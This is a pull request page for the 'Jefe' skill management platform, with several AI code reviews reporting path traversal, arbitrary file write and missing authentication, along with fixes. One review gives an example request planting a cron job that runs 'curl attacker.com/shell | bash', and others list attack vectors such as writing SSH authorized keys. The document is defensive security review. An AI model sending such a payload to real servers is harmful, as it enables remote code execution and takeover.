Jefe V1: Complete skill management platform with multi-harness support

[lavallee]

Summary

• Rebrand: Renamed project from "Station Chief" to "Jefe"
• Core Platform: Project and manifestation management with harness configuration discovery
• Multi-Harness Support: Adapters for Claude Code, Codex CLI, Gemini CLI, and OpenCode
• Skills Management: Git-based skill sources with installation, sync, and browsing
• Translation Service: Semantic and syntax translation between harness configuration formats
• Web Interface: Dashboard, project views, skills browser, harness config viewer, and translation UI
• Offline & Sync: Local cache layer with conflict detection and resolution
• Knowledge Management: Knowledge entry ingestion and CLI commands
• Bundles & Recipes: Bundle model with recipe file format for project initialization

Test plan

• Run make test to verify all tests pass
• Start server with jefe serve and verify web UI at localhost:8000
• Test CLI commands: jefe projects list, jefe skills list, jefe status
• Verify harness detection with jefe harnesses detect
• Test offline mode and sync functionality

🤖 Generated with Claude Code

[claude]

Code Review - Critical Security Issues Found

I found 3 critical security vulnerabilities related to arbitrary file write in the translation endpoints. These vulnerabilities allow attackers to write arbitrary content to any location on the filesystem that the server process has access to.

---

Issue 1: Arbitrary File Write in API Translation Endpoint

File: src/jefe/server/api/translation.py (lines 98-117)
Severity: Critical

The /api/translate/apply endpoint accepts a user-provided file_path and writes arbitrary content to it without any validation.

Vulnerable Code:

@router.post("/api/translate/apply", response_model=MessageResponse)
async def apply_translation(
    payload: ApplyTranslationRequest,
    _api_key: APIKey,
    session: AsyncSession = Depends(get_session),
) -> MessageResponse:
    service = TranslationService(session)
    try:
        file_path = Path(payload.file_path).expanduser()
        await service.apply_translation(
            file_path=file_path,
            content=payload.content,
        )
        return MessageResponse(message=f"Translation applied to {file_path}")

Attack Vectors:

• Write to ~/.ssh/authorized_keys to gain SSH access
• Overwrite system files (if server runs with elevated privileges)
• Write to cron directories to execute arbitrary code
• Overwrite application configuration files
• Use path traversal (e.g., ../../../etc/passwd) to write anywhere

Reference:

jefe/src/jefe/server/api/translation.py

Lines 98 to 117 in ba01039

	@router.post("/api/translate/apply", response_model=MessageResponse)
	async def apply_translation(
	payload: ApplyTranslationRequest,
	_api_key: APIKey,
	session: AsyncSession = Depends(get_session),
	) -> MessageResponse:
	"""Apply translated content to a file."""
	service = TranslationService(session)
	try:
	file_path = Path(payload.file_path).expanduser()
	await service.apply_translation(
	file_path=file_path,
	content=payload.content,
	)
	return MessageResponse(message=f"Translation applied to {file_path}")
	except TranslationError as e:
	raise HTTPException(status_code=400, detail=str(e)) from e
	except Exception as e:
	raise HTTPException(status_code=500, detail=f"Failed to apply translation: {e}") from e

---

Issue 2: Arbitrary File Write in Web Translation Endpoint

File: src/jefe/web/routes.py (lines 988-1016)
Severity: Critical

The /translate/apply web endpoint has the same vulnerability as the API endpoint. This endpoint has no authentication, making it easier to exploit if the web interface is exposed.

Vulnerable Code:

@web_router.post("/translate/apply")
async def apply_translation(
    payload: ApplyWebRequest,
    session: AsyncSession = Depends(get_session),
) -> JSONResponse:
    service = TranslationService(session)
    try:
        file_path = Path(payload.file_path).expanduser()
        await service.apply_translation(
            file_path=file_path,
            content=payload.content,
        )
        return JSONResponse(content={"message": f"Translation applied to {file_path}"})

Additional Risk: Unlike the API endpoint which requires an API key, this web endpoint has no authentication, allowing any network attacker to exploit it.

Reference:

jefe/src/jefe/web/routes.py

Lines 988 to 1016 in ba01039

	@web_router.post("/translate/apply")
	async def apply_translation(
	payload: ApplyWebRequest,
	session: AsyncSession = Depends(get_session),
	) -> JSONResponse:
	"""
	Apply translated content to a file.
	Args:
	payload: Apply request
	session: Database session
	Returns:
	JSON response with success message
	"""
	service = TranslationService(session)
	try:
	file_path = Path(payload.file_path).expanduser()
	await service.apply_translation(
	file_path=file_path,
	content=payload.content,
	)
	return JSONResponse(content={"message": f"Translation applied to {file_path}"})
	except TranslationError as e:
	raise HTTPException(status_code=400, detail=str(e)) from e
	except Exception as e:
	raise HTTPException(status_code=500, detail=f"Failed to apply translation: {e}") from e

---

Issue 3: Root Cause - Unvalidated File Write in Translation Service

File: src/jefe/server/services/translation/service.py (lines 199-221)
Severity: Critical

The underlying apply_translation method writes to any path provided without validation and creates parent directories.

Vulnerable Code:

async def apply_translation(
    self,
    file_path: Path,
    content: str,
) -> None:
    try:
        # Creates arbitrary directory structures!
        file_path.parent.mkdir(parents=True, exist_ok=True)
        
        # Writes arbitrary content to arbitrary path
        file_path.write_text(content, encoding="utf-8")
    except Exception as e:
        raise TranslationError(f"Failed to write file {file_path}: {e}") from e

The mkdir(parents=True) call makes this worse by creating any necessary directory structure.

Reference:

jefe/src/jefe/server/services/translation/service.py

Lines 199 to 221 in ba01039

	async def apply_translation(
	self,
	file_path: Path,
	content: str,
	) -> None:
	"""
	Write translated content to a file.
	Args:
	file_path: Path to write the translated content
	content: The translated content to write
	Raises:
	TranslationError: If file writing fails
	"""
	try:
	# Ensure parent directory exists
	file_path.parent.mkdir(parents=True, exist_ok=True)
	# Write content to file
	file_path.write_text(content, encoding="utf-8")
	except Exception as e:
	raise TranslationError(f"Failed to write file {file_path}: {e}") from e

---

Recommended Fix

Implement path validation to restrict writes to a safe directory:

from pathlib import Path

# Define allowed base directory (e.g., in config or environment variable)
ALLOWED_BASE = Path("/var/jefe/translations").resolve()

async def apply_translation(
    self,
    file_path: Path,
    content: str,
) -> None:
    """Write translated content to a file."""
    try:
        # Resolve the path to handle symlinks and relative paths
        resolved_path = file_path.expanduser().resolve()
        
        # Validate that the resolved path is within allowed directory
        if not resolved_path.is_relative_to(ALLOWED_BASE):
            raise ValueError(f"Path {resolved_path} is outside allowed directory {ALLOWED_BASE}")
        
        # Ensure parent directory exists
        resolved_path.parent.mkdir(parents=True, exist_ok=True)
        
        # Write content to file
        resolved_path.write_text(content, encoding="utf-8")
    except Exception as e:
        raise TranslationError(f"Failed to write file {file_path}: {e}") from e

Apply this validation in the service layer so it protects both the API and web endpoints.

[claude]

Code Review

I've reviewed this PR and found 3 security issues that need to be addressed:

1. Arbitrary File Write Vulnerability (Path Traversal) - CRITICAL

Location: src/jefe/server/api/translation.py lines 98-117

The /api/translate/apply endpoint accepts a user-supplied file_path parameter and writes arbitrary content to it without any path validation or security checks.

Code:

jefe/src/jefe/server/api/translation.py

Lines 98 to 117 in 93976f2

	@router.post("/api/translate/apply", response_model=MessageResponse)
	async def apply_translation(
	payload: ApplyTranslationRequest,
	_api_key: APIKey,
	session: AsyncSession = Depends(get_session),
	) -> MessageResponse:
	"""Apply translated content to a file."""
	service = TranslationService(session)
	try:
	file_path = Path(payload.file_path).expanduser()
	await service.apply_translation(
	file_path=file_path,
	content=payload.content,
	)
	return MessageResponse(message=f"Translation applied to {file_path}")
	except TranslationError as e:
	raise HTTPException(status_code=400, detail=str(e)) from e
	except Exception as e:
	raise HTTPException(status_code=500, detail=f"Failed to apply translation: {e}") from e

The code directly converts the user input to a Path object with .expanduser() but performs no validation:

• No path traversal checks (e.g., checking for ..)
• No allowlist of permitted directories
• No verification the path is within an expected base directory
• The service even creates parent directories if they don't exist

Attack Scenario:

An attacker with a valid API key could:

1. Overwrite system configuration files
2. Write SSH authorized keys
3. Overwrite application code using relative paths

Recommendation: Implement proper path validation by defining an allowed base directory and validating that all paths are within it.

---

2. Web Interface Endpoints Lack Authentication - HIGH

Location: src/jefe/web/routes.py lines 43-1054

The web routes do not require API key authentication (no _api_key: APIKey parameter), unlike the API routes which require authentication. This creates an inconsistent security model.

Evidence:

• API routes at /api/* require authentication via _api_key: APIKey
• Web routes at /translate/*, /projects/*, /skills/* do NOT require authentication
• Both ultimately call the same services

This allows unauthenticated users to:

• Access all projects, skills, harnesses data
• Perform translations
• Write arbitrary files via /translate/apply (combining with issue Jefe V1: Complete skill management platform with multi-harness support #1 above)
• Install/uninstall skills
• Trigger harness discovery operations

Recommendation: Either add API key authentication to web routes or implement session-based authentication for the web interface.

---

3. Recipes Endpoints Missing Authentication - MEDIUM

Location: src/jefe/server/api/recipes.py lines 28-121

The /recipes/parse and /recipes/resolve endpoints do not include the _api_key: APIKey dependency that other API endpoints use for authentication.

Evidence:

• All other API endpoints in the codebase use _api_key: APIKey for authentication
• The recipes endpoints break this consistent pattern
• The /recipes/resolve endpoint accesses the database without authentication

Code:

jefe/src/jefe/server/api/recipes.py

Lines 28 to 121 in 93976f2

	@router.post("/parse", response_model=RecipeResponse, status_code=status.HTTP_200_OK)
	async def parse_recipe(
	payload: dict[str, str],
	service: RecipeService = Depends(get_recipe_service),
	) -> dict[str, Any]:
	"""
	Parse a recipe from YAML content.
	Args:
	payload: Dictionary with "content" key containing YAML string
	Returns:
	Parsed recipe with metadata
	Raises:
	400: Recipe parsing or validation failed
	"""
	content = payload.get("content")
	if not content:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail="Missing 'content' field in request",
	)
	try:
	recipe = service.parse_recipe_content(content)
	except RecipeParseError as e:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail=str(e),
	) from e
	except RecipeValidationError as e:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail=str(e),
	) from e
	return {
	"name": recipe.name,
	"description": recipe.description,
	"harnesses": recipe.harnesses,
	"skills": [skill.model_dump() for skill in recipe.skills],
	"bundles": recipe.bundles,
	"skill_count": len(recipe.skills),
	"bundle_count": len(recipe.bundles),
	}
	@router.post("/resolve", status_code=status.HTTP_200_OK)
	async def resolve_recipe(
	payload: dict[str, str],
	service: RecipeService = Depends(get_recipe_service),
	) -> dict[str, Any]:
	"""
	Resolve a recipe to actual skill IDs.
	Parses the recipe and resolves all skills and bundles to their database IDs.
	Args:
	payload: Dictionary with "content" key containing YAML string
	Returns:
	Dictionary mapping harness names to lists of resolved skills
	Raises:
	400: Recipe parsing, validation, or resolution failed
	"""
	content = payload.get("content")
	if not content:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail="Missing 'content' field in request",
	)
	try:
	recipe = service.parse_recipe_content(content)
	resolved = await service.resolve_recipe(recipe)
	except RecipeParseError as e:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail=str(e),
	) from e
	except RecipeValidationError as e:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail=str(e),
	) from e
	except RecipeResolutionError as e:
	raise HTTPException(
	status_code=status.HTTP_400_BAD_REQUEST,
	detail=str(e),
	) from e
	return resolved

Recommendation: Add the _api_key: APIKey parameter to both recipes endpoints to match the authentication pattern used throughout the codebase.

---

Summary: These security issues should be addressed before merging. The path traversal vulnerability (#1) is particularly critical as it allows arbitrary file writes on the server filesystem.

[claude]

Code Review

I found 2 security issues that need to be addressed:

1. Path Traversal Vulnerability - Arbitrary File Write

Location: src/jefe/server/api/translation.py:108

The /api/translate/apply endpoint accepts a user-supplied file_path parameter and writes arbitrary content to it without any path validation or sanitization. This allows an authenticated attacker to write to any file on the filesystem that the server process has write access to.

Vulnerability details:

1. The endpoint accepts file_path from user input (line 108)
2. No validation is performed to ensure the path is within allowed directories
3. The path can contain traversal sequences like ../ or be an absolute path
4. The service creates parent directories if needed (service.py:216)
5. Arbitrary content is written to the path (service.py:219)

Example attack:

POST /api/translate/apply
{
  "file_path": "../../etc/cron.d/malicious",
  "content": "* * * * * root curl attacker.com/shell | bash"
}

Recommended fix:
Add path validation to ensure the file path is within an allowed directory:

ALLOWED_BASE_DIR = Path("/path/to/safe/directory")

file_path = Path(payload.file_path).expanduser().resolve()
# Ensure the resolved path is within allowed directory
if not file_path.is_relative_to(ALLOWED_BASE_DIR):
    raise HTTPException(
        status_code=400,
        detail="Invalid file path: must be within allowed directory"
    )

References:

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path

---

2. Missing API Key Authentication

Location: src/jefe/server/api/recipes.py:28-79

The recipe endpoints lack API key authentication, which is inconsistent with all other API endpoints in the application. This allows unauthenticated access to functionality that should be protected.

Issue details:

1. The /recipes/parse endpoint (line 28) does not include the _api_key: APIKey dependency parameter
2. The /recipes/resolve endpoint (line 76) also lacks authentication
3. All other API endpoints in the codebase consistently use _api_key: APIKey for authentication
4. The /recipes/resolve endpoint performs multiple database queries that could be used to probe for information or cause denial of service

Security concerns:

• Information disclosure: Unauthenticated users can probe for the existence of sources, skills, and bundles
• Denial of service: The resolve endpoint performs multiple database queries that could be abused
• Consistency violation: Authentication is applied to all other data endpoints

Comparison with other endpoints:
All other endpoints require authentication:

• skills.py:51 - Uses _api_key: APIKey
• bundles.py:36 - Uses _api_key: APIKey
• sources.py:31 - Uses _api_key: APIKey
• projects.py:95 - Uses _api_key: APIKey

Recommended fix:

@router.post("/parse", response_model=RecipeResponse, status_code=status.HTTP_200_OK)
async def parse_recipe(
    payload: dict[str, str],
    _api_key: APIKey,  # Add this line
    service: RecipeService = Depends(get_recipe_service),
) -> dict[str, Any]:

Also add the import at the top of the file:

from jefe.server.auth import APIKey

Apply the same fix to the /recipes/resolve endpoint.

---

Both issues were validated and require immediate attention to secure the application.